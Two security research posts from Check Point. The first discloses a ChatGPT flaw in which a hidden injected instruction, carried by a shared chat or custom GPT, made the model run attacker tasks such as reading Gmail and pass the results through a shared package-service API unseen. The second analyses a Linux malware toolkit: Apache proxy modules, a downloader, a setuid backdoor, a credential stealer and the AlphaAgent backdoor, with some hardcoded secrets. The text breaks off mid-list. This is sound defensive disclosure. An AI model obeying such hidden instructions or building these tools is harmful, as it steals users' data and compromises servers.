Visualização de leitura

The Shared Clipboard Inside the Sandbox: Cross-Account Data Leakage in ChatGPT

Research by: Alexey Bukhteyev

Key Takeaways

  • Check Point Research discovered a covert cross-account command channel through which an attacker could use a victim’s ChatGPT session to execute hidden tasks with the tools, data, and connected apps available to that session. The victim could receive a normal answer to their visible request while the attacker’s task was processed separately and its result returned across accounts. In our proof of concept, ChatGPT retrieved email data from the victim’s connected Gmail account and relayed it to the attacker.
  • The channel operated through code-execution environments belonging to different ChatGPT accounts. Although the containers could not access the public Internet or communicate directly, they could all reach the same internal service used to deliver software packages.
  • The hidden instruction could be delivered through a malicious prompt, a shared ChatGPT conversation, or a custom GPT. Once it was present in the victim’s conversation context, an ordinary message could trigger the attacker-controlled task without revealing it in the visible response.
  • The same channel could also be used to exfiltrate conversation history and files available in the affected chat and its code-execution environment. The scope of the attack depended on the data, tools, connected apps, and permissions already available to the victim’s session.

Introduction

Over the past several years, AI assistants have moved far beyond text generation. Modern systems can execute code, install additional dependencies, analyze user files, and access data through connected services. These capabilities significantly increase the practical value of LLMs, but they also change the security model: protecting user data now depends both on the behavior of the model itself and on its execution environment, the tools available to it, and the platform’s internal services.

In this architecture, the model sits inside the security boundary. It can access internal resources and user data, but its behavior can be steered through instructions. If an attacker provides a convincing justification for an action, the model may carry it out using the capabilities available in the user’s session. The model can therefore act as a coerced insider: not malicious, but persuaded to act on the attacker’s behalf. Even if the model performs an action it should not, data leakage should still be technically impossible.

ChatGPT handles tasks that require code execution inside isolated containers. We have previously shown why the isolation of these containers is critical. To prevent user data leakage, containers must not have direct access to the public Internet, and containers belonging to different users and accounts must not be able to exchange data.

The importance of this isolation boundary was recently highlighted by the widely reported Hugging Face incident. In its postmortem of the incident, OpenAI described how agents running in separate evaluation environments established unauthorized communication channels that allowed them to share information and coordinate their actions.

Coincidentally, while this incident was developing, Check Point Research was investigating a related isolation problem in ChatGPT. In June 2026, we independently found a way to establish a covert, bidirectional channel between the code-execution containers of two separate ChatGPT conversations created under different accounts. The mechanism we discovered was different from those used by the agents described in OpenAI’s postmortem, but both cases exposed the same architectural weakness: a shared internal service became an unintended communication layer across environments that were supposed to remain isolated.

We also found that this communication path could be turned into a hidden task channel. A crafted instruction could make ChatGPT process a second stream of tasks alongside the visible conversation: receive instructions from an attacker, execute them using the capabilities of the victim’s session, and return the results without exposing the second stream in its visible response.

Figure 1 – ChatGPT process a second stream of tasks alongside the visible conversation.

To demonstrate the practical impact, we embedded such an instruction in a shared ChatGPT conversation. The victim only had to open the link and send a normal message. ChatGPT completed the user’s request while simultaneously accessing the victim’s connected Gmail account and sending the retrieved data to the attacker’s account through the cover channel.

Video 1 – A shared ChatGPT conversation completes the victim’s visible request while retrieving data from the connected Gmail account and sending it to the attacker’s account.

Container Network Isolation and Internal Access

For solving complex analytical problems, ChatGPT can create code-execution containers. At the time of our research, we assessed that these containers could not access the public Internet. Containers created for separate conversations, including conversations under different accounts, also cannot communicate directly with one another.

Some tasks may nevertheless require installing additional Python and npm packages, as well as dependencies from other ecosystems. To support this functionality without giving containers access to public package repositories, the containers were allowed to access an internal JFrog Artifactory instance, which acted as a controlled intermediary for retrieving the required dependencies.

The containers therefore remain isolated from one another, but each can access the same permitted internal service.

A Shared Clipboard Between Isolated Containers

Access to the same internal service does not by itself break container isolation. The issue arose because the Artifactory instance available to the containers exposed Item Management API operations for repository items.

These operations were available through the /api/storage/{repoKey}/{itemPath} endpoint:

  • Set Item Properties allows string properties to be attached to an existing repository item, such as a file, folder, or repository. Property updates are supported for local repositories and local caches of remote repositories and require Annotate permission.
  • Get Storage Item Information can return the properties associated with an item through the same storage endpoint.

In the environment we examined, the credentials provided to the container for reader access had sufficient permissions to perform both operations. The credentials were stored in environment variables and were available to code running inside the container. Code launched by ChatGPT could therefore authenticate to the storage endpoint without extracting a separate secret or escalating privileges.

We tested whether item properties were isolated by account. From a container under one account, we added a test property named chatgpt_test_ts, with the current timestamp, to an automatically cached file. From a conversation under a different account, we then requested the properties of the same file. The response contained the exact property name and value written from the first account.

Figure 2 – The item properties retrieved from the second account contain the chatgpt_test_ts value previously written from the first account.

Property values could carry text directly or binary content encoded as Base64. Data too large for a single property could be divided into chunks, stored under separate keys, and reassembled at the other end. The storage endpoint therefore turned the package service’s metadata into a shared clipboard between isolated containers.

The Invisible Second User

The channel between containers belonging to different users could be used to steal chat history and files shared in a conversation. In our previous research, we showed how a malicious instruction could make ChatGPT exfiltrate the same type of data through a different hidden outbound channel.

For the cross-container attack described here, all that was needed was a single short message containing the required instructions. The attack could therefore be carried out in several ways:

  • a malicious prompt pasted by the victim into a new or existing chat;
  • a shared conversation containing the instruction;
  • a custom GPT with the instruction embedded in its hidden configuration.

The possible damage extended beyond chat history and uploaded files. Today, ChatGPT is a cloud-based agent that can access external services through connected apps. A user may connect it to Gmail, Google Drive, Microsoft Teams, GitHub, and many other services. ChatGPT can then access data stored there within the permissions granted by the user or their workspace.

Figure 3 – ChatGPT plugins.

We were able to write the instruction so that, in Thinking mode, ChatGPT handled two independent request streams during a single turn.

The first stream was the normal conversation with the victim. ChatGPT processed the visible request and returned an ordinary answer. At the same time, it checked the hidden mailbox for a task from the attacker. If a task was waiting, ChatGPT carried it out using the tools and data available in the victim’s session, then returned the result back through the covert channel.

The instruction told ChatGPT not to mix the two streams. The hidden task and its result did not appear in the answer shown to the victim. From the user’s point of view, the conversation continued as usual. In reality, the same ChatGPT session was serving a second user whom the victim could not see.

Figure 4 – ChatGPT processes a visible user request and a hidden task during the same turn, then returns the results through separate channels.

For example, a hidden task could ask ChatGPT to retrieve a list of emails. The next time the victim sent a message, ChatGPT could process this task alongside the user’s visible request.

We tested this scenario using an unrelated, ordinary user request. ChatGPT processed the request and returned a normal answer in the visible conversation. During the same turn, it accessed the connected Gmail account and returned the requested email data through the hidden channel.

The visible answer contained no mention of the Gmail request or the retrieved data. The only app-specific clue was the small “Talked to Gmail” label above the answer.

Figure 5 – ChatGPT answers the cooking question normally. The “Talked to Gmail” label is the only indication of the hidden activity in this view.

This label recorded an action that had already taken place. It did not give the user a chance to approve or reject it.

By default, the Gmail integration in ChatGPT automatically approves low-risk actions. ChatGPT may still deny actions involving sensitive information, but a read operation can be completed without a separate confirmation request. However, in the attack scenario we examined, even read-only “low-risk actions” can carry significant risk because they may be used to obtain personal data, sensitive correspondence, confidential business information, or other content accessible through the victim’s connected account without a separate confirmation request.

OpenAI documents Important actions as the default permission setting for connected apps. Under this setting, ChatGPT can read from apps without prior approval, while actions considered important require confirmation. Users can select the stricter Always ask setting. Under the default configuration, the Gmail activity becomes visible only after the read has been completed.

Figure 6 – The default Gmail settings allow low-risk actions without a separate confirmation request.

The covert channel could therefore become a remote-control channel for the capabilities available to the victim’s ChatGPT session. Its reach would depend on the data, tools, and permissions already available there.

Activating this capability required very little interaction from the victim. Shared conversations and custom GPTs were especially practical delivery methods. In both cases, one ordinary message from the victim could activate the hidden task stream.

In the shared-conversation scenario, the victim only had to send a message in a conversation whose context already contained the malicious instruction. ChatGPT could then process the visible request while also checking the hidden mailbox and carrying out any waiting task.

A custom GPT could operate similarly. It could perform its advertised function while checking the hidden mailbox during ordinary interactions. Its builder instructions are not shown to the user, allowing the covert-channel instruction to remain outside the visible conversation.

Conclusion

By the time we completed our report, the cross-account channel was no longer available. We nevertheless disclosed our findings to OpenAI, who confirmed that the internal Artifactory instance identified during our research had been decommissioned.

This issue illustrates a broader security challenge in agentic systems. An LLM operates inside the trust boundary: it uses credentials, runs code, accesses internal services, and works with user data. Its actions are directed by text instructions. This combination turns the model into a coerced insider that can use authorized capabilities on behalf of another user.

In the environment we studied, the network sandbox performed its intended function. The cross-account channel emerged through a shared internal service and mutable state without tenant isolation. Shared infrastructure effectively became a communication path between containers that were considered isolated.

The architecture of agentic platforms must account for every resource available to the model: internal APIs, shared state, credentials, tools, and connected apps. Management interfaces should be inaccessible from the runtime, and permissions should be limited to the minimum required. Within shared internal services, any data that a container can modify must remain accessible only to the account or session that owns it. Connecting external services increases the impact of any failure in this model because an active session may work with data far beyond the container.

The post The Shared Clipboard Inside the Sandbox: Cross-Account Data Leakage in ChatGPT appeared first on Check Point Research.

Gaming the system: how a Chinese-speaking actor turned Brazilian government sites into an SEO weapon

Research by: Amit Yardeni

Key Points

  • A Chinese-speaking actor is now targeting Brazil. Check Point Research has uncovered a sustained campaign against Brazilian organizations, primarily government and educational institutions since mid-2025. We dubbed this group Gambling Goblin: a Chinese-speaking cybercrime cluster connected to a previously documented group, Earth Berberoka, that targeted gambling sites across Asia. It marks a shift from Brazil’s usual home-grown banking-trojan threats to a foreign operator moving in
  • Compromised web servers turned into stealthy proxies. The attackers compile and install malicious Apache modules on victim servers that silently reverse-proxy visitors to attacker-controlled phishing pages, while the traffic still appears to originate from the legitimate domain, with the site’s own security headers stripped so injected content runs freely.
  • Large-scale SEO manipulation. The phishing pages pose as trusted app stores such as Google Play, Microsoft Store, and Amazon. Behind that facade, they push online gambling and sports betting, and they chain together compromised high-reputation domains, many of them Brazilian government sites, to inflate search rankings and hijack traffic at scale.
  • A broad, heavily obfuscated Linux toolkit. Once inside a host, the group deploys custom tools – downloader (DownPro), multiple backdoors including the modular AlphaAgent and the oRAT RAT, a 3snake-based credential stealer, an SSH brute-forcer, and a plugin-driven reconnaissance agent. Most of them are wrapped in packing and virtualization layers to slow analysis and evade detection.
  • The operation reaches well beyond Brazil. We identified parallel phishing networks localized in Vietnamese, Spanish, and English, alongside infrastructure that generates fresh domains daily – evidence the model is built to scale and be exported to new regions.
  • One step from direct malware delivery. Because the pages already mimic app-download destinations, the same infrastructure sits a single configuration change away from pushing malware straight to victims, a latent escalation risk beyond the current search-fraud scheme.

Introduction

Since mid-2025, Check Point Research has tracked a sustained campaign against Brazilian organizations. The tradecraft points to a Chinese-speaking cybercrime group connected to Earth Berberoka, an actor first documented targeting gambling sites across Asia.

Once inside a victim, the group deploys a broad Linux toolkit: a custom downloader, several backdoors, and familiar offensive utilities. Most of it arrives heavily obfuscated – wrapped in layered virtualization and packing to slow analysis and evade detection.

The purpose becomes clear at the network layer. The attackers install custom Apache modules that quietly proxy visitors to a sprawling set of phishing pages. Many of those pages sit on Brazilian government domains that appear to have been compromised and repurposed without their owners’ knowledge.

The reach extends beyond Brazil. We uncovered a second phishing network run by the same actor; this one is built for Vietnamese victims.

The likely goal is SEO manipulation at scale. By hijacking trusted, high-reputation domains, many of them Brazilian government sites, the operators borrow that reputation to push their own content up the search rankings and hijack the traffic that follows. But the same infrastructure could serve a more dangerous end: the phishing pages impersonate app-download destinations such as Google Play, the Microsoft Store, and Amazon, which leaves the operators one step from pushing malware straight to victims.

Infection Flow

Figure 1 – Infection chain

Initial Access

We have not directly observed this group’s initial access, but a revealing artifact surfaced on one of their servers: an exposed open directory hosting an ELF binary written in Go that bundles numerous reconnaissance and scanning plugins. The toolset reads like a complete attack-surface-mapping pipeline for internet-facing targets.

The group refers to this agent as “cluster-asset-mapping”, or “cam-agent” for short. It runs with a handful of flags:

  • default – long-lived worker session for orchestrated task dispatch
  • f – foreground mode without logging
  • flog – enable logging (use with f)
  • h – show help
  • v – show version
Figure 2 – Cam-agent help message

The agent carries a configuration that includes:

  • worker_endpoint
  • server_id
  • project
  • agent_token
  • embedded PEM certificates and keys for the server and agent
  • a plugin list
  • report policies

It logs to payload-run.log under the default directory of /tmp/asset-scan. The agent reads the JSON report policies to decide how to run its scan. The policies are driven by the following fields:

  • common web ports
  • batch_size
  • retry_count
  • retry_backoff_seconds
  • level
Figure 3 – Network scan report policy

The agent communicates with its server over gRPC, authenticating with the certificates and keys from its own configuration. It uses many known open-source pentesting tools as modules:

  • dirprobe – takes URLs and a directory list or profile, sends HTTP requests, and records the status code, response length, and title for each probed path.
  • httpx – takes URLs, ports, and HTTP options, then collects the status code, response length, title, protocol, TLS details, and banners from each target.
  • naabu – takes IPs or hostnames, port ranges, and a scan mode, attempts TCP connections across all targets, and marks each port as open, closed, or filtered.
  • nuclei (v3) – takes URLs, paths, and workflows, executes HTTP/DNS/TCP checks as defined by templates, and emits a structured result for each match (template ID, severity, affected URL, evidence).
  • subfinder – takes root domains, resolvers, and a depth, then enumerates subdomains via DNS brute force, certificate transparency, and passive sources, returning the discovered subdomains.
  • whatweb – a Wappalyzer-style fingerprinter that issues HTTP requests to each target and applies rules to identify web servers, frameworks, CMS platforms, JavaScript libraries, and more.

Stealth phishing structure

Apache Modules

The group automates deployment of its malicious Apache module through a Bash installer. The script first confirms it is running as root, then fingerprints the host as either Debian/Ubuntu or CentOS/RedHat and pulls in the matching Apache development packages so the module can be compiled on the victim itself. It downloads the module’s C source, opsproxy.c, from a hardcoded staging server and, notably, patches the source on the fly to insert a missing macro definition so the code compiles cleanly. This is a small touch that shows the operators built the module to run across a range of victim configurations.

Compilation and installation are handled in a single step via Apache’s own apxs tooling, which also wires the module into the server’s configuration. What follows is a deliberate effort to hide the intrusion: the script deletes the source and all build artifacts, then timestomps the resulting .so and its load-configuration files to match legitimate, pre-existing Apache modules such as mod_ssl or mod_suexec, so the malicious files blend in during a casual review. It then enables the stock proxy, headers, and rewrite modules the malicious module depends on, tests the configuration, and restarts Apache to bring everything live.

Throughout, the script’s status messages are written in Chinese and decorated with emoji, a style that may point to AI-assisted development.

Figure 4 – Checking the URL by the Apache module

The source file, opsproxy.c, reveals a purpose-built reverse proxy that quietly grafts attacker-controlled content onto a compromised web server. The module registers itself at Apache’s name-translation stage and inspects every incoming request for one of a small set of hardcoded URL prefixes which in our samples, /wps/bmw, and /card. When a request matches, the module rewrites it into a reverse-proxy request to a corresponding upstream server hardcoded into the source, silently relaying the visitor to attacker infrastructure while the request still appears, to the outside world, to come from the legitimate compromised domain.

To make that relayed content render without interference, the module strips the upstream site’s Content-Security-Policy headers. It replaces them with a deliberately permissive policy that allows inline and dynamically evaluated scripts, third-party assets, and data: and blob: sources. This removes the restrictions a browser’s CSP normally enforces, allowing injected or externally hosted scripts to execute freely.

Figure 5 – CSP stripping so injected scripts can run

The module also forwards the original Host header and adds standard proxy headers so the upstream sees a convincing request. The effect is a compromised, reputable server acting as a stealthy front door: certain paths transparently serve attacker content, and the browser protections that would ordinarily block foreign scripts are switched off for exactly those paths.

Figure 6 – How the compromised .gov site relays attacker content to visitors

A second ELF Apache module used by the group disguises itself as a basic filter module while registering request and response hooks that examine visitor headers, URI paths, referrers, and client IPs. It carries a static configuration, decrypts it with RC4, and parses it into two rule types:

  1. rule1 – an array of matching rules (path, referrer, or User-Agent, paired with a proxy URL)
  2. rule3 – an optional response-filtering or injection configuration
Figure 7 - JSON struct example
Figure 7 – JSON struct example

Using a compiled-in regex for <body.*?> to locate its injection point, the module expands placeholders such as {host}{hip}{url}, and {name}, fetches remote content with libcurl, and writes that content into Apache responses via ap_rwrite and bucket manipulation. This gives a remote service control over what selected visitors and crawlers see on the compromised server. This is a behavior consistent with SEO cloaking and content-injection malware.

Brazilian infrastructure

Fetching the content served from the three upstream IP addresses hard-coded in the proxy module reveals the phishing infrastructure itself. Each address hosts a page impersonating a trusted app-distribution platform, localized in Brazilian Portuguese (lang="pt-BR") and dressed up with fabricated ratings, review counts, and structured schema.org metadata to appear legitimate to both users and search-engine crawlers.

Figure 8 -
Figure 9 -

Figure 11 - Several phishing pages shown by the Apache module.
Figure 8 – Several phishing pages shown by the Apache module.

All those IPs lean heavily on Bing’s thumbnail service (tse-mm.bing.com) to source imagery, tag their Open Graph and Twitter cards with @GooglePlay and @microsoftstore handles, and consistently theme around online gambling and sports betting aimed at a Brazilian audience – the actual monetization behind the campaign’s search-manipulation scheme. Tellingly, the pages carry Chinese-language CSS comments (for example a comment translating to “bottom navigation bar — fixed to the bottom on mobile, hidden on desktop”), the same operator fingerprint seen across the group’s server-side tooling.

Inspecting the domain used by the second Apache module brought us to a domain called playfootball[.]info that has a phishing page similar to the earlier ones. Unlike the earlier upstream samples that pulled assets from Bing thumbnails and a fake CDN, this one loads Google’s real production assets – the actual gstatic.com Play Store CSS bundle, Material Icons fonts, and the genuine Google Play logo SVG.

Figure 12 - The phishing page used by the second Apache module
Figure 9 – The phishing page used by the second Apache module

The most revealing finding from this page is that the app tiles and nav links don’t point to a single server; they point to dozens of real Brazilian domains, the majority of them legitimate .gov.br government sites, each serving the attacker’s gambling pages under paths like /jogos and /nova. The compromised institutions span every level of Brazilian government. At the federal level, they include a government ministry and a national public agency. At the state level, victims include a state legislative assembly, state courts of accounts, and a state-owned utility. The largest share, however, is local government: municipal administrations spread across numerous cities and multiple states. A smaller set of commercial .com.br sites such as local news outlets, health clinics, and business associations rounds out the victims.

Beyond Brazil

As we pivoted through the phishing infrastructure, the trail led well beyond Brazil. Several of the IP addresses hosted subdomain and domain generators, giving the operators a fresh supply of domains every day – a rotation scheme built to outpace blocklists and takedowns.

Figure 13 - Domain generator used by the group
Figure 10 – Domain generator used by the group

Some of the generated domains pointed to adult-content and gambling sites aimed at a Chinese-speaking audience, tying the infrastructure back to the operators’ origin and their long-running focus on the gambling sector.

Figure 14 - A gambling site in Chinese from the domain generator list

Figure 11 – A gambling site in Chinese from the domain generator list

More telling, we found phishing pages built on the same template as the Brazilian ones, but localized in Vietnamese, Spanish, and English. The Brazilian operation is not a one-off: the same playbook is being adapted for other regions, and the infrastructure is clearly built to scale.

Figure 15 -
Figure 16 - Phishing pages in Vietnamese and English
Figure 12 – Phishing pages in Vietnamese and English

The Attacker’s Arsenal

Across these intrusions, the group draws on two kinds of tooling: well-known offensive utilities that any attacker might reach for, such as netcatfscan, and pwnkit, and a broad set of custom tools written by the operators themselves: a downloader, several backdoors, a credential stealer, and purpose-built reconnaissance scripts. The sections below focus on that custom toolkit, which is where the group’s tradecraft shows.

DownPro

A downloader written in Go, referred to internally as DownPro. Its job is to pull the rest of the toolkit onto a freshly compromised host and launch it.

The binary is driven by a handful of flags, and a telling detail stands out immediately: their help strings are written in both English and Chinese. The flags are:

  • u – URL of the main backdoor to download
  • id – URL of the ChUser payload
  • up – URL of the unix_updates payload (the PasswordHarvester)
  • j – offline URL encryptor mode: it takes a plaintext URL via u and outputs the ciphertext to use as the flag value in real runs
  • logs – where to write logs

The values passed to these flags are AES-GCM encrypted with a hardcoded key and Base64-encoded, so the operator supplies pre-encrypted URLs at runtime rather than leaving them in the clear.

DownPro then decides where to drop its payload based on its effective UID, preparing two sets of candidate destination paths: one for root, one for non-root. Running as root, it selects one of:

  • /usr/local/bin/systemd-udevd
  • /usr/local/bin/rsync-tsl
  • /usr/local/bin/tcp-tsl
  • /usr/local/bin/snapd-ext
  • /usr/local/bin/fsck-disk
  • /usr/local/bin/nftables-init

These names are chosen to blend into a Linux server environment, either mimicking legitimate system components or looking like ordinary utility and network helpers. Running without root, it instead generates one of two temp-style names designed to pass as routine disk clutter:

  • /tmp/php_sess_<32_hex_chars> – mimicking a PHP session file
  • /tmp/private-tmp-<5_alnum_chars> – looking like an ephemeral temp artifact

With the destination chosen, it downloads the file from the -u URL and executes it with the argument -si.

Figure 13 – DownPro main logic

The two optional payloads are handled separately. When the -id flag is set, DownPro downloads a file to /usr/bin/chuser, sets its permissions to 0755, changes its owner to root, and timestomps it to match /bin/ls and turning it into a setuid helper that serves as a persistent local privilege-escalation backdoor. When the -up flag is set, it downloads a file to /usr/sbin/unix_updates and runs it with -v FuckMe#988, then strips the setuid bit from /usr/bin/pkexec.

ChUser

A simple backdoor that masquerades as a chuser utility. It executes commands passed through the -c flag, but only after passing one of two activation checks:

  1. Remote HTTP activation – the backdoor builds a curl command using the -x <version> flag and runs it. Activation succeeds only if the command’s output matches the expected value, chuser no version.
  2. Local MD5-based activation – the backdoor concatenates a user-supplied secret (from the -s <secret> flag) with a hardcoded salt, FuCkMe#, computes the MD5 of secret + salt, and compares it against a hardcoded target hash. Activation succeeds only on a match.

PasswordHarvester

A credential stealer based on 3snake that monitors newly executed authentication programs, including sshdsudosudoassshssh-addpasswdkinit, and login.

On startup, it sets a clean PATH environment variable and installs signal handlers so the daemon can log and exit cleanly. It runs only as root, exiting otherwise, and gates execution behind a covert activation switch: the CRC32 of the -v argument must match a hardcoded value.

Figure 14: CRC32 gate
Figure 14: CRC32 gate

Once the CRC gate passes, the stealer resolves the host’s name and IPv4 addresses, then daemonizes by forking, calling umask(0) so it can freely control file permissions, changing its working directory to /tmp, and redirecting stdout and stderr to a file.

To hide itself, it picks at random from roughly 29 fake process names, such as:

  • [kworker/1:2]
  • [ksoftirqd/0]
  • [watchdog/0]
  • [systemd]
  • [dbus-daemon]
  • [journald]
  • [migration/0]
  • [ksmd]

It overwrites the original argv with the chosen name and calls prctl to change the kernel-visible task name to match.

The core logic then opens a netlink socket and subscribes to process events (PROC_CN_MCAST_LISTEN). On every process execution or UID change event, it checks whether the process name or command line matches one of the target programs listed above. When a match falls outside the expected path prefixes, it enters the interceptor flow: it attaches to the target with ptrace, reads the credential buffers, and exfiltrates them to its C2, RC4-encrypted and Base64-encoded.

AlphaAgent

A modular backdoor written in Go, built to land quietly, blend into a busy host, take orders over an encrypted channel, and hand its operator everything they need to work through a network.

On launch, AlphaAgent first checks whether it was invoked to finish an upgrade, so an in-progress self-update can complete cleanly. It then parses its command-line flags, validates its configured role and transport, and generates a Device ID from either the victim’s MAC address or the username combined with a hardcoded salt (e*f#1%0d$6&5=6). After checking its debug flags (DEBUGVERBOSE, or neither), it decrypts its configuration strings using AES-GCM with a hardcoded key.

[Figure 19 – Device ID generation](Gaming the system how a Chinese-speaking actor tur/image_(4)

The configuration holds the region blocklist, the transport role and mode, the C2 domain, the TLS SNI camouflage value used for the certificates, and the directory, filename, and loader names for the rootkit.

With its configuration in hand, the agent goes to ground. It renames its own process to pass as a kernel thread or a system daemon, choosing the disguise from its configuration profile and applying it by rewriting argv[0] or calling prctl. The profiles are:

  • aws → /usr/sbin/amazon-master or /usr/local/sbin/amazon-proxy
  • google → /usr/bin/google_user_agent or /usr/bin/google_proxy_agent
  • aliyun → rsyslogd
  • general → one of a set of kernel-thread-style names:
"dbus-daemon -n%d"
"scsi_eh_%d"
"[migration/%d]"
"[cpuhp/%d]"
"[kworker/u%d:1]"
"[watchdog/%d]"
"[kswapd%d]"
  • When not running as root, it falls back to php-fpm: pool www or nginx: worker process.

AlphaAgent then detaches into the background and writes a PID lock file under an innocuous path so that only one copy runs. It sleeps for a randomized interval which is long enough to outlast a quick sandbox detonation, and checks where it is running: if the host’s country matches the operators’ blocklist (China, in the samples we analyzed), the agent simply exits. Only after clearing that geofence does it enter its connect-and-retry loop and reach out to the server.

Finally, if the -r flag is set at execution, AlphaAgent checks whether the rootkit’s kernel module is already loaded. If it is not, the agent installs it; the rootkit ships embedded inside the binary via Go’s embed.FS API. In all the samples we analyzed, we haven’t found any rootkits, only placeholders.

Once connected, the agent enrolls, starts a heartbeat, and subscribes for jobs. How it talks to its server is a build-time choice, and each option is designed to look like something benign.

The primary channel is gRPC over HTTPS. The agent’s gRPC transport is built as a publish/subscribe service. The agent subscribes to receive jobs and publishes results back, and on top of that base, it opens dedicated streams for each interactive function rather than multiplexing everything through one pipe. There are separate streams for the web terminal, for uploads, for downloads, and for keepalive pings, and each exists in two directions an operator-facing set and an agent-facing set. That separation keeps a live terminal session responsive while a large file transfer runs in parallel.

Three design choices make this channel hard to spot on the wire:

  • uTLS fingerprint mimicry. The agent uses a library that forges the TLS handshake of a real browser, so fingerprint-based detection (JA3/JA4-style) sees a normal Chrome-like client, not a Go program.
  • Google and Cloudflare camouflage. It presents api.google.com as its server name, serves a .google.com certificate, and dresses its HTTPS heartbeats as Google traffic with decoy cookies (NIDSID, and similar) plus a custom proof scheme carried in Cloudflare-style parameters (_cf_auth_ts_cf_auth_nonce_cf_auth_method). The heartbeat side exposes handler paths like /agent/heartbeat and /notifications/v1/push to complete the illusion of a Google notification service.
  • Encryption beneath the encryption. Job and result messages are themselves AES-GCM encrypted before they travel inside the TLS session. Even an analyst who terminates the TLS still faces an encrypted payload.

The Message fields of the communication:

Message Message
  field 1: string cid            (label=optional) - connection ID
  field 2: string mid            (label=optional) - Message ID
  field 3: int32  command        (label=optional) - specific command to run
  field 4: bytes  data           (label=optional) - data for command
  field 5: string topic          (label=optional) - channel name
  field 6: bytes  encrypted_data (label=optional) - encrypted payload
  field 7: string sid            (label=optional) - stream ID
  field 8: string file_name      (label=optional) - if there is a file
  field 9: string file_action    (label=optional) - can be upload / download / delete / list

The alternative channel is DNS. Here the same commands travel inside DNS queries: each job is encrypted, Base32-encoded, and split across DNS labels, then exchanged as TXT-style traffic on port 53. Many environments scrutinize outbound web sessions but wave DNS through, which is exactly the point. A separate variant of the toolkit keeps things simpler still, tunneling its protocol over a plain HTTP connection with certificate checks disabled.

The alternative channel is DNS. Here the same commands travel inside DNS queries: each job is encrypted, Base32-encoded, and split across DNS labels, then exchanged as TXT-style traffic on port 53. Many environments scrutinize outbound web sessions but wave DNS through which is exactly the point. A separate variant of the toolkit keeps things simpler still, tunneling its protocol over a plain HTTP connection with certificate checks disabled.

Whichever channel it uses, the agent bootstraps through public DoH and GeoIP providers such as Cloudflare, Google, ipinfo, and others, both to resolve its server and to run the geofence check described above.

At the center of the agent is a single job dispatcher. The server sends a numbered command; the dispatcher routes it to the matching handler. That design keeps the protocol compact and makes the feature set easy to summarize. The sections below cover the ones that matter most.

  • Remote shell and interactive terminal – The workhorse is remote command execution. A shell job is joined into a single string and run through /bin/sh -c, and the combined output is captured and returned to the operator. The agent takes care to keep this quiet. It sets HISTFILE=/dev/null so commands leave no shell history behind. For interactive work, the agent goes beyond one-shot commands. It can allocate a real pseudo-terminal, launch a shell inside it, and stream that terminal to the operator as a browser-based “webtty” session. This gives an attacker a live, interactive shell with full terminal behavior, not just fire-and-forget commands, which is what you want for hands-on-keyboard operations.
  • File Operations – File handling is complete in both directions. The agent can download files to the host and upload files from it, with both direct and streamed transfer paths for larger data transfers. Alongside transfer, a file browser lets the operator list directories and walk the filesystem interactively before deciding what to take. Together, these turn the backdoor into a remote file manager for the compromised host.
  • Tunneling and pivoting – This is where the agent shows its intent to move laterally. It bundles a SOCKS5 proxy, a yamux-based multiplexer, and a Ligolo-style relay, turning the compromised host into a pivot point for the operators’ traffic. A dedicated relay mode lets the agent listen for inbound connections and forward them, so one foothold can open a path into the rest of an internal network. In the tunneling paths, certificate verification is deliberately turned off to keep the relay flexible.
  • Relay Tunneling – AlphaAgent can also be deployed not as an implant but as a relay node. The agent validates a configured role at startup, and, in its tunnel-edge role, starts a listener and forwards traffic upstream to the command-and-control server on a different port, preserving the same gRPC streams. It uses its own embedded node token to identify itself in this mode. In other words, the operators can seed both endpoints – victims that call home and relay nodes that concentrate and forward that traffic – from one codebase. One build even carries a tag pointing to a specific tunnel geography ([dns-hktun / Hong Kong]), suggesting the relay tier is planned around location.
  • Discovery and collection – The reconnaissance is aimed squarely at spreading. Beyond a standard host and network inventory: hostname, users, running services, active network connections, interface addresses, and virtualization hints, the agent reads login history from wtmputmp, and the system authentication logs, and enumerates current SSH sessions. It can then archive a victim’s .ssh directory and .bash_history into a compressed bundle for exfiltration. Read who logged in, grab their keys and history, and use the tunnel to reach the next host: the collection features are built to feed lateral movement, not just to profile a single machine. Worth flagging: the host inventory the agent sends home includes a virtualization role field, meaning the agent reports back whether it believes it is running inside a virtual machine or sandbox. That gives the operators a chance to abandon or lie low on analysis systems before doing anything noisy.
  • AI Plugin – The newest build we found, introduces something the earlier versions do not have: an AI plugin execution path. The evidence is currently limited to internal strings. The agent logs executing AI plugins when it runs one and recovers from failures through an AI plugin panic handler, so we can confirm the capability exists and is guarded like a first-class feature, but the sample does not reveal what the plugin is or does. In the code AlphaAgent gets scripts probably written by an AI orchestrator on the server side named “ai_plugin_%s.sh”, runs them and sends the result to the C2.
  • Evasions – The agent invests heavily in remaining unseen. It renames its process to impersonate legitimate kernel threads and services entries like [kworker/...][kswapd...]nginx: worker process, or rsyslogd and overwrites its own command-line arguments so tools that read them see the disguise too. It suppresses its own output to /dev/null and detaches as a daemon. Some builds go further and hide the process outright. On command, the agent can bind-mount over its own /proc entry, making itself invisible to anything that reads the process table – a lightweight but effective trick that needs no kernel module. Other builds do carry a kernel-module component, controlled through custom device commands, that hides processes and network connections at the kernel level and can stage an additional loader fetched from the operator. The encrypted configuration and the traffic camouflage described earlier round out an evasion posture that spans disk, process table, and network. One variant is packaged to defeat analysis itself. It is wrapped in a protector that strips the file’s structure, unpacks the real payload only in memory, obfuscates its internals, and watches for a debugger, popping a decoy error and exiting the moment it detects one. Same feature set underneath, hardened against the analyst.

The full list of commands:

Command IDArgsDescription
2server parametersgRPC tunnel
4server parametersSocksProxy (using Ligolo-ng)
8command stringshell command execution
10path, recursivefile browser / directory listing
12processname, argv_nameprocess name spoofing
14strings of several commandsMulti command AUTOSTART
16connection hide + remote install + streaming upload
18Install new Rootkit
20Uninstall rootkit
22unmount process – CommandRunUNINSTALL
24Http based file transfer
26gRPC file upload
28gRPC file download
30Tun socks relay start
32Tun socks relay stop
38Hide process via bind mount
40Get SSH and bash history
42System information collector
44Registration acknowledgement
46AI plugin execution
48Agent upgrade

oRAT

oRAT is a Go-based Linux remote access trojan built for full remote administration of a compromised host.

It starts with decrypting the configuration baked into the binary that contains: the C2 address, the install paths, the process disguise, and the hiding flags all live inside one encrypted blob and are only unpacked in memory.

Unless told to skip it, the agent then runs its preparation routine, and this is where most of the damage is done before any traffic leaves the box. It configures logging to /dev/null by default, daemonizes, disables SELinux enforcement (setenforce 0), installs itself to a persistent location, registers a service, writes a GUID, takes a file lock so only one copy runs, deletes its original on-disk copy if it was relocated, and optionally hides its own process. Only after all of that does it enter its main loop of communication.

The agent’s communication routine supports three transports, selected by config:

  • tcp – a raw TCP connection
  • stcp – TLS over TCP
